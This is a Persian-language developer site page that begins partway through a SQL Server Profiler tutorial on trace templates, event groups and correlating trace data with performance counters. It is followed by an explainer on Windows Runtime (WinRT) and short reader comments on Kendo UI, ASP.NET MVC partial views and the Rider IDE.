 TSQL_Locks   ثبت اطلاعات انسداد (blocking) و بن بست (deadlock) از قبیل blocked processes، deadlock chains، deadlock graphs,... . این الگو همچنین درخواست‌های تمام رویه‌های ذخیره شده و تمامی دستورات هر رویه و  هر Query عادی SQL را دریافت می‌کند 
 TSQL_Replay   ثبت اجرای رویه‌های ذخیره شده و Query‌های SQL در یک SQL Instance و  مهیا کردن امکان اجرای دوباره عملیات در سیستمی دیگر 
 TSQL_SPs   ثبت کارائی برای Query‌های SQL، رویه‌های ذخیره شده و تمامی دستورات درون یک رویه ذخیره شده و نیز عملیات ورود و خروج هر Login 
 Tuning   ثبت اطلاعات کارائی برای Query‌های عادی SQL و رویه‌های ذخیره شده و یا تمامی دستورات درون یک رویه ذخیره شده 

3- انتخاب رویداد (SQL Trace Event Groups)

رویداد‌ها در 21 گروه رویداد دسته بندی می‌شوند که در جدول زیر لیست شده اند:
 گروه رویداد  هدف 
 Broker  13 رویداد برای واسطه سرویس (Service Broker) 
 CLR   1 رویداد برای بارگذاری اسمبلی‌های CLR (Common Language Runtime) 
 Cursors   7 رویداد برای ایجاد، دستیابی و در اختیار گرفتن Cursor 
 Database   6 رویداد برای رشد/کاهش  (grow/shrink) فایل های  Data/Log همچنین تغییرات حالت انعکاس (Mirroring) 
 Deprecation   2 رویداد برای آگاه کردن وضعیت نابسامان درون یک SQL Instance 
 Errors and
Warnings  		 16 رویداد برای خطاها، هشدارها و پیغام‌های اطلاعاتی که ثبت شده است 
 Full Text   3  رویداد برای پیگیری یک شاخص متنی کامل 
 Locks   9 رویداد برای بدست آوردن، رها کردن قفل و بن بست (Deadlock) 
 OLEDB   5 رویداد برای درخواست‌های توزیع شده و RPC (اجرای رویه‌های دور) 
 Objects   3 رویداد برای وقتی که یک شی ایجاد، تغییر یا حذف می‌شود 
 Performance   14 رویداد برای ثبت نقشه درخواست‌ها (Query Plan) برای استفاده نقشه راهنما (Plan Guide) به منظور بهینه سازی کارائی درخواست ها،  همچنین این گروه رویداد در خواست‌های متنی کامل (full text) را ثبت می‌کند 
 Progress Report   10 رویداد برای ایجاد Online Index 
 Query
Notifications  		 4 رویداد برای سرویس اطلاع رسان (Notification Service) 
 Scans   2 رویداد برای وقتی که یک جدول یا شاخص، پویش می‌شود 
 Security Audit   44 رویداد برای وقتی که مجوزی استفاده شود، جابجائی هویتی رخ دهد، تنظیمات امنیتی اشیائی تغییر کند،یک  SQL Instance  شروع و متوقف شود و یک  Database جایگزین شود یا از آن پشتیبان گرفته شود 
 Server  3 رویداد برای Mount Tape، تغییر کردن حافظه سرور و بستن یک فایل Trace 
 Sessions   3 رویداد برای وقتی که Connection‌ها موجود هستند و یک Trace فعال می‌شود، همچنین یک Trigger  و یک تابع دسته بندی(classification functions) مربوط به مدیریت منابع(resource governor) رخ دهد 
 Stored Procedures   12 رویداد برای اجرای یک رویه ذخیره شده و دستورات درون آن ، کامپایل مجدد و استفاده از حافظه نهانی (Cache) 
 Transactions   13 رویداد برای شروع، ذخیره ، تائید و لغو یک تراکنش 
 TSQL   9  رویداد برای اجرای Query‌های SQL و جستجوهای XQUERY (در داده‌های XML)  
 User Configurable   10 رویداد که شما می‌توانید پیکربندی کنید 
به طور معمول بیشتر از گروه رویدادهای Locks، Performance، Security Audit، Stored Procedures و TSQL استفاده می‌شود.


4- انتخاب ستون‌های داده ای ( Data Columns)

اگرچه می‌توان همه‌ی 64 ستون داده ای ممکن را برای ردیابی انتخاب کرد ولیکن داده‌های Trace شما زمانی مفید خواهند بود که اطلاعات ضروری را ثبت کرده باشید. برای مثال شماره ترتیب تراکنش‌ها را،  برای یک رویداد RPC:Completed می‌توانید برگردانید، اما همه رویه‌های ذخیره شده مقادیر را تغییر نمی‌دهند بنابراین شماره ترتیب تراکنش‌ها فضای بیهوده ای را مصرف می‌کند. بعلاوه همه ستون‌های داده ای برای تمامی رویداد‌های Trace معتبر نیستند. برای مثال Read ، Write ،CPU و Duration برای رویداد‌های RPC:Starting و SQL:BatchStarting معتبر نیستند.
ApplicationName، NTUserName، LoginName، ClientProcessID، SPID، HostName، LoginSID، NTDomainName و SessionLoginName ، مشخص می‌کنند چه کسی و از چه منشاء دستور را اجرا کرده است.
ستون SessionLoginName معمولاً نام Login ای که از آن برای متصل شدن به SQL Instance استفاده شده است را نشان می‌دهد. در حالیکه ستون LoginName نام کاربری را که دستور را اجرا می‌کند نشان می‌دهد (EXECUTE AS). ستون ApplicationName خالی است مگر اینکه در ConnectionString برنامه کاربردیمان این خصوصیت (Property) مقداردهی شده باشد. ستون StartTime و EndTime زمان سرحدی برای هر رویداد را ثبت می‌کند این ستون‌ها بویژه در هنگامی که به عملیات Correlate  نیاز دارید مفید هستند.


5- بررسی چند سناریو نمونه

•  یافتن درخواست هائی (Queries) که بدترین کارایی را دارا هستند.

برای ردیابی درخواست‌های ناکارا، از رویداد RPC:Completed از دسته Stored Procedure و رویداد SQL:BatchCompleted از دسته TSQL استفاده می‌شود.

•  نظارت بر کارایی رویه ها

برای ردیابی کارائی رویه ها، از رویدادهای SP:Starting، SP:Completed، SP:StmtCompleted و SP:StmtStaring از کلاس Stored Procedure و رویدادهای SQL:BatchStarting ، SQL:BatchCompleted از کلاس TSQL استفاده می‌شود.

•  نظارت بر اجرای دستورات T-SQL توسط هر کاربر

برای ردیابی دستوراتی که توسط یک کاربر خاص اجرا می‌شود، نیاز به ایجاد یک Trace برای نظارت بر رویدادهای کلاس‌های Sessions، ExistingConnection و TSQL داریم همچنین لازم است نام کاربر در قسمت فیلتر  و با استفاده از DBUserName مشخص شود.

•  اجرا دوباره ردیاب (Trace Replay)

این الگو  معمولاً برای debugging استفاده می‌شود برای این منظور  از الگوی Replay استفاده می‌شود. در ضمن امکان اجرای دوباره عملیات در سیستمی دیگر با استفاده از این الگو مهیا می‌شود.

•  ابزار Tuning Advisor (راهنمای تنظیم کارائی)

این ابزاری برای تحلیل کارائی یک یا چند بانک اطلاعاتی و تاثیر عملکرد آنها بر بار کاری (Workload) سرویس دهنده است. یک بار کاری مجموعه ای از دستورات T-SQL است که روی بانک اطلاعاتی اجرا می‌شود. بعد از تحلیل تاثیر بارکاری بر بانک اطلاعاتی، Tuning Advisor توصیه هائی برای اضافه کردن، حذف و یا تغییر طراحی فیزیکی ساختار بانک اطلاعاتی ارائه می‌دهد این تغییرات ساختاری شامل پیشنهاد برای تغییر ساختاری موارد Clustered Indexes، Nonclustered Indexes، Indexed View و Partitioning است.
برای ایجاد بارکاری می‌توان از یک ردیاب تهیه شده در SQL Profiler استفاده کرد برای این منظور از الگوی Tuning استفاده می‌شود و یا رویدادهای RPC:Completed، SQL:BatchCompleted و SP:StmtCompleted را ردیابی نمائید.

•  ترکیب ابزارهای نظارتی (Correlating Performance and Monitoring Data)

یک Trace برای ثبت اطلاعاتی که در یک SQL Instance رخ می‌دهد، استفاده می‌شود. System Monitor  برای ثبت شمارنده‌های کارائی(performance counters) استفاده می‌شود و همچنین از منابع سخت افزاری و اجزای دیگر که روی سرور اجرا می‌شوند، تصاویری فراهم می‌کند. توجه شود که در مورد  Correlating یک فایل ردیاب (trace file) و یک Counter Log (ابزار Performance )، ستون داده ای StartTime و EndTime باید انتخاب شود، برای این کار از منوی File گزینه Import Performance Data انتخاب می‌شود.

•  جستجوی علت رخ دادن یک بن بست

برای ردیابی علت رخ دادن یک بن بست، از رویدادهای RPC:Starting، SQLBatchStarting از دسته Stored Procedure و رویدادهای Deadlock graph، Lock:Deadlock و Lock:Deadlock Chain از دسته Locks استفاده می‌شود. ( در صورتی که نیاز به یک ارائه گرافیکی دارید از  Deadlock graph استفاده نمائید، خروجی مطابق تصویر زیر می‌شود).


5-1- ایجاد یک Trace

1-  Profiler را اجرا کنید از منوی File گزینه New Trace را انتخاب کنید و به SQL Instance مورد نظرتان متصل شوید.
2-  مطابق تصویر زیر برای Trace یک نام و الگو و تنظیمات ذخیره سازی فایل را مشخص کنید.


3-  بر روی قسمت Events Selection کلیک نمائید.
4-  مطابق تصویر زیر رویداد‌ها و کلاس رویداد‌ها را انتخاب کنید، ستون‌های TextData، NTUserName، LoginName، CPU،Reads،Writes، Duration، SPID، StartTime، EndTime، BinaryData، DataBaseName، ServerName و ObjectName را انتخاب کنید.

5-  روی Column Filters کلیک کنید و مطابق تصویر زیر برای DatabaseName فیلتری تنظیم کنید.


6-  روی Run کلیک کنید. تعدادی Query و رویه ذخیره شده مرتبط با پایگاه داده AdventureWorks اجرا کنید .


5-2- ایجاد یک Counter Log

برای ایجاد یک Counter Log  مراحل زیر  را انجام دهید:
1-  ابزار Performance را اجرا کنید (برای این کار عبارتPerfMon را در قسمت Run بنویسید).
2-  در قسمت Counter Logs یک log ایجاد کنید.
3-  روی Add Counters کلیک کرده و مطابق تصویر موارد زیر را انتخاب کنید.
Select counters from list 
Performance Object 
 Output Queue Length  Network Interface 
 % Processor Time  Processor 
 Processor Queue Length  System 
 Buffer Manager:Page life expectancy  SQLServer 
 
4-  روی Ok کلیک کنید تا Counter Log ذخیره شود سپس روی آن راست کلیک کرده و آنرا Start کنید.


5-3- ترکیب ابزارهای نظارتی (Correlating SQL Trace and System Monitor Data)

1-  Profiler را اجرا کنید از منوی File گزینه Open و سپس Trace File را انتخاب کنید فایل trc را که در گام اول ایجاد کردید، باز نمائید.
2-  از منوی File گزینه Import Performance Data را انتخاب کنید و فایل counter log  را که در مرحله قبل ایجاد کردید  انتخاب کنید.



نکته: اطلاعات فایل trc را می‌توان درون یک جدول وارد کرد، بدین ترتیب می‌توان آنالیز بیشتری داشت به عنوان مثال دستورات زیر این عمل را انجام می‌دهند.


 SELECT * INTO dbo.BaselineTrace
FROM fn_trace_gettable(' c:\performance baseline.trc ', default);
با اجرای دستور زیر جدولی با نام  BaselineTrace ایجاد و محتویات Trace مان (performance baseline.trc) در آن درج می‌گردد.
 
‫۱۰ سال و ۶ ماه قبل، شنبه ۶ اردیبهشت ۱۳۹۳، ساعت ۱۴:۴۵
وحید نصیری وحید نصیری
مطالب
خلاصه‌ای کوتاه در مورد WinRT

WinRT چیست؟

مایکروسافت جهت سهولت تولید برنامه‌های جدید Metro-style ، لمسی (touch-centric) و tablets ویندوز 8 ، اقدام به بازنویسی مجدد Windows-API کرده و نام آن‌را WinRT گذاشته است. بنابراین همانند آنچه که در مورد API‌ ویندوز از روز اول پیدایش آن مرسوم بوده، این API جدید، از نوع native (نوشته شده با CPP) می‌باشد و با کمک دات نت فریم ورک تهیه نشده است. این API جدید مبتنی بر فناوری قدیمی COM است، بنابراین مطابق معمول توسط هر نوع برنامه‌ و سیستمی در ویندوز قابل دسترسی است. تفاوتی نمی‌کند که CPP یا دلفی باشد یا دات نت. به صورت خلاصه ویندوز 8 دو طراحی جدید (WinRT) و قدیم (Win32 API) را با هم پشتیبانی می‌کند. اگر آن‌را صحیح‌تر بخواهیم معرفی کنیم، WinRT درحقیقت محصور کننده‌ی (Wrapper) همان Win32 API سابق است (در پشت صحنه همان dll های سابق ویندوز را بارگذاری و استفاده می‌کند) جهت تطابق با نیازهای دهه اخیر و سال‌های پیش رو.


سازگاری دات نت فریم ورک با WinRT چگونه است؟

اینبار WinRT برخلاف Win32 API (که در زمان ارائه آن اصلا دات نتی در کار نبود)، جهت سازگاری با دات نت طراحی شده است. این طراحی جدید ILDasm metadata را در اختیار برنامه نویس‌های دات نت قرار می‌دهد و به این ترتیب IntelliSense و قابلیت‌های Debugging ویژوال استودیو همانند کدهای مدیریت شده‌ی دات نت جهت برنامه نویسی مبتنی بر WinRT در اختیار برنامه نویس‌ها خواهد بود (فرمت ارائه شده، ECMA 335 metadata format می‌باشد). همچنین اشیاء COM متعلق به WinRT به خوبی توسط GC (آشغال جمع کن) دات نت جهت مدیریت بهتر حافظه، تحت نظر می‌باشند.
بنابراین از دیدگاه یک برنامه نویس دات نت، کل WinRT به صورت managed assemblies مشاهده می‌شود، اینترفیس‌های آن همان اینترفیس‌های دات نتی خواهند بود و کلاس‌های آن نیز به همین ترتیب. این مشکلی بود/هست که با Win32 API در دات نت وجود دارد و دسترسی به آن به این سادگی و یکپارچگی میسر نیست (هر چند تا الان کل اینترفیس آن جهت استفاده در دات نت نیز ترجمه شده است). در اینجا شما ارجاعاتی را به فایل‌هایی با پسوند winmd یا windows metadata، به پروژه‌ی دات نتی خود اضافه می‌کنید و سپس CLR قادر خواهد بود تا کلیه اطلاعات لازم جهت کار با WinRT را از آن‌ها استخراج کند (این فایل‌ها در پوشه C:\Program Files (x86)\Windows Kits\8.0\Windows Metadata و C:\Windows\system32\winmetadat ویندوز 8 قابل مشاهده و دسترسی هستند).


تفاوت‌های مهم امکانات نمایشی WinRT با Win32 API کدامند؟

تفاوت مهم WinRT با Win32 API از دیدگاه برنامه نویس‌ها، امکان دسترسی بیشتر به آن از طریق زبان‌های مختلف می‌باشد. WinRT همانند Win32 API توسط CPP ، دات نت و سایر روش‌های مرسوم دیگر قابل دسترسی و توسعه است. اما اینبار WinRT برخلاف Win32 API ، از طریق HTML و جاوا اسکریپت هم قابل توسعه است. در این حالت کدهای شما توسط Chakra JavaScript engine که از اینترنت اکسپلورر 9 به بعد ارائه شده، اجرا خواهد شد. بنابراین «برفراز» WinRT دو لایه نمایشی (presentation layer) قابل طراحی و دسترسی است. XAML و زبان‌های متداول برنامه نویسی موجود مانند سی شارپ و وی بی دات نت و غیره. همچنین HTML/CSS هم مجال ابراز وجود یافته است. البته XAML تنها لایه نمایشی کلیه زبان‌های قدیمی موجود مانند سی شارپ، وی بی دات نت، CPP و غیره خواهد بود. به همین جهت Expression Blend جدید نیز از HTML 5 پشتیبانی می‌کند.
همچنین در WinRT ، قسمت‌های GDI و Message loop متداول Win32 API حذف شده است و از DirectX استفاده می‌کند. برای نمونه کدهای XAML شما توسط DirectX رندر می‌شود. البته این مطلب جدیدی نیست و از زمان ارائه WPF شاهد این مساله بوده‌ایم.


وضعیت توسعه پذیری WinRT  چگونه است؟

علاوه بر این‌ها، برخلاف Win32 API ، اینبار WinRT قابل توسعه است و Extensions SDK برای آن ارائه شده است.


آیا WinRT شاهد تغییرات امنیتی خاصی هم بوده است؟

نکته‌ی مهمی که در طراحی WinRT به آن توجه شده است، امنیت می‌باشد. برنامه‌های WinRT شبیه به برنامه‌های سیلورلایت در یک Sandbox اجرا می‌شوند. به این معنا که جهت ذخیره سازی اطلاعات خود از یک isolated storage استفاده می‌کنند. برای کار با file system نیاز به تائید کاربر دارند و خلاصه دیگر به سادگی نمی‌توان از مرزهای این نوع برنامه‌ها رد شد و سیستم عاملی را root کرد. برای نمونه برنامه نویس‌های دات نت دسترسی به فضای نام System.IO.FileStream را دیگر نخواهند داشت و تنها قسمتی از دات نت «برفراز» WinRT و مدل امنیتی جدید آن معنا پیدا می‌کند. همچنین برفراز این API جدید، تولید مثلا Device drivers هم دیگر معنا پیدا نمی‌کند. این محدودیت‌های امنیتی برای برنامه‌ نویس‌های native هم وجود دارد و تفاوتی نمی‌کند. کلا برنامه‌های جدید Metro-style در یک قرنطینه‌ی کامل امنیتی اجرا می‌شوند. برای مثال اگر برنامه‌ای نیاز به دسترسی به یک WebCam را داشته باشد، همانند برنامه‌های سیلورلایت ابتدا باید کاربر تائید کرده و سپس برنامه مجوز امنیتی کار با مثلا یک WebCam را خواهد یافت. همچنین تمام برنامه‌های جدید Metro-style باید جهت ارائه در فروشگاه جدید ویندوز 8، دارای امضای دیجیتال معتبر نیز باشند.


آیا جهت توسعه‌ی برنامه‌های چندریسمانی و غیرهمزمان تمهیدات خاصی در WinRT پیش‌بینی شده است؟

در طراحی جدید WinRT به اعمال asynchronous به شدت توجه شده است. هر عملی که بیش از 50 میلی ثانیه طول بکشد به صورت خودکار تبدیل به یک عمل asynchronous خواهد شد تا برنامه‌ها مرتبا در حین اجرای اعمال زمانبر هنگ نکرده و ترد اصلی برنامه را بلاک نکنند. علاوه بر این‌ها WinRT از طریق IAsyncOperation interface خود، امکان استفاده از واژه‌های جدید کلیدی async/await سی شارپ 5 را نیز مهیا می‌سازد.


آیا WinRT آمده است تا جایگزینی برای دات نت و سیلورلایت و امثال آن باشد؟

خیر. WinRT نگارش دوم Win32 API است با هدف توسعه پذیری، استفاده از دایرکت ایکس و فناوری‌های جدید که عموما از شتاب دهنده‌های سخت افزاری هم بهره‌مند هستند بجای GDI سابق، استفاده ساده‌تر در زبان‌های دیگر به کمک فایل‌های استاندارد Windows Meta data آن می‌باشد. همچنین این API جدید دسترسی به امکانات ویندوز را هم توسط HTML و جاوا اسکریپت، علاوه بر امکانات مهیای سابق میسر ساخته است. هم اکنون نگارش 4 و نیم دات نت در ویندوز 8 ارائه شده است و توسط هر دو سیستم سابق و جدید قابل استفاده می‌باشد. البته باید در نظر داشت که جهت استفاده از WinRT به دلایل محدودیت‌های امنیتی اعمال شده به آن و همچنین استفاده از XAML به تنها عنوان لایه نمایشی سیستم‌های متداول غیر HTML ایی، دات نت فریم ورک به امکانات و کلاس‌های کمتری نسبت به حالت متداول کار با آن، دسترسی دارد (جهت درک بهتر این محدودیت‌ها می‌توان به طراحی سیلورلایت مراجعه کرد). این را هم باید اضافه کرد که ویندوز 8 توانایی اجرای هر دو نوع برنامه‌های سبک جدید مترو و متداول دسکتاپ قدیمی را دارا است.


جهت آشنایی بیشتر با WinRT می‌توان به مجموعه‌ای از ویدیوهای مرتبط آن مراجعه کرد:
http://channel9.msdn.com/Events/BUILD/BUILD2011?t=windows%2Bruntime


‫۱۳ سال و ۲ ماه قبل، سه‌شنبه ۲۹ شهریور ۱۳۹۰، ساعت ۱۵:۱۴
وحید نصیری وحید نصیری
نظرات مطالب
کار با Kendo UI DataSource
- «خطا می‌گیره» برای بررسی کافی نیست. اطلاعات بیشتر
دفعه‌ی قبل هم همین رویه را تکرار کردی و پاسخی نگرفتی. چون برای رفع مشکل، اگر نتوان شرایط شما را خیلی «سریع»، «تکرار» کرد، امکان دیباگ و رفع اشکال آن هم نیست. بنابراین اگر قسمتی از یک پروژه‌ی بزرگ را اینجا عنوان کنید که کار نمی‌کند، هیچ کسی کمکی به شما نخواهد کرد (چون امکان بررسی و شبیه سازی جزئیات آن از راه دور میسر نیست).
بنابراین قبل از اینکه سؤالی را مطرح کنید، این سؤال را خودتان بپرسید:
- آیا طرف مقابل می‌تواند به «سرعت» مشکل من را شبیه سازی و «تکرار» کند؟
اگر پاسخ آن خیر است، احتمال اینکه پاسخ مناسبی را دریافت کنید، خیلی کم است.

- نیازی به تنظیم ProxyCreationEnabled = false در این قسمت از کد نیست و روش بهتری برای آن وجود دارد. اطلاعات بیشتر
- اگر قسمتی از اسکیمای JSON شما چنین شکلی را دارد:
"address":{
   "street":"test 59",
   "city":"City test",
   "post_number":"25050"
},
معادل Kendo UI Data source آن به صورت زیر خواهد بود:
columns : [
        { field: "address.street", title: "Street" },
        { field: "address.city", title: "City" },
        { field: "address.post_number", title: "Post#" }
    ]
یک مثال کامل
‫۸ سال و ۷ ماه قبل، یکشنبه ۲۳ اسفند ۱۳۹۴، ساعت ۱۳:۴۵
وحید نصیری وحید نصیری
نظرات مطالب
نحوه صحیح تولید Url در ASP.NET MVC
فرم ادیت رو به صورت strongly typed از نوع یک partial view مستقل درست کنید.
سپس در کنترلر مرتبط، یک اکشن متد را مخصوص رندر کردن این partial view در نظر بگیرید. کار آن دریافت اطلاعات مرتبط با Model ارسالی به همین partial view است. سپس در آخر کار آن هم خواهیم داشت:

return PartialView("_MyPartialViewName", data);
حالا فراخوانی این اکشن متد توسط jQuery Ajax سبب پر شدن خودکار فیلدهای فرم strongly typed شما هم می‌شود. در حین درخواست، اطلاعات مدل از بانک اطلاعاتی دریافت شده و به Partial view ارسال می‌شود. چون strongly typed است، فیلدهای آن به صورت خودکار پر شده و نهایتا کل partial view به صورت یک رشته آماده شده در اختیار شما خواهد بود. بنابراین، قسمت عمده‌ای از کدهای سمت کاربر فوق کاهش پیدا می‌کنند. چون یک view کامل حاضر و آماده از سرور دریافت شده است که باید به صفحه توسط jQuery اضافه شود.

+
لطفا اینجا رو تبدیل به یک انجمن عمومی نکنید. عنوان بحث ساخت Url بود ... بعد تغییر جهت پیدا کرد به یک عنوان دیگر.
با تشکر از توجه شما.
 
‫۱۲ سال و ۴ ماه قبل، شنبه ۱۰ تیر ۱۳۹۱، ساعت ۲۱:۲۹
قائمی قائمی
نظرات اشتراک‌ها
مقایسه‌ای بین امکانات Rider و Visual Studio
من هم مدت‌ها با VS کار کردم و اخیرا دارم با rider کار میکنم. بنظرم مواردی که گفتین کاملا محسوس و درسته. من با نسخه پیش نمایش vs2022 هم کار کرده بودم اما برای کسایی که ممکنه یه جاهایی حس کنن چرا مایکروسافت فلان امکان رو برای راحتی یا سرعت توسعه برنامه نویس نذاشته به شدت rider رو پیشنهاد میکنم. اگر بخوام جور دیگه بگم میشه گفت کسایی که تا حالا تو vs از ریشارپر استفاده میکردن اگر میخوان لذت بیشتری از این محصول ببرن بهتره rider رو هم یه تستی بکنن 

مزایا vs نسبت به rider:
+ بروز بودن با آخرین نسخه و تکنولوژی‌های Microsoft
+ امکان استفاده از IntelliCode completions که با هوش مصنوعی پیشنهاد‌های جالبی رو میده!

مزایای rider نسبت به vs:
+ امکانات مختلف جهت تنظیم IDE و کد نویسی سریع تر
+ IDE روان‌تر و سریع‌تر به کمک ایندکس گذاری‌های رایدر

‫۲ سال و ۱۰ ماه قبل، سه‌شنبه ۲ آذر ۱۴۰۰، ساعت ۱۸:۵۷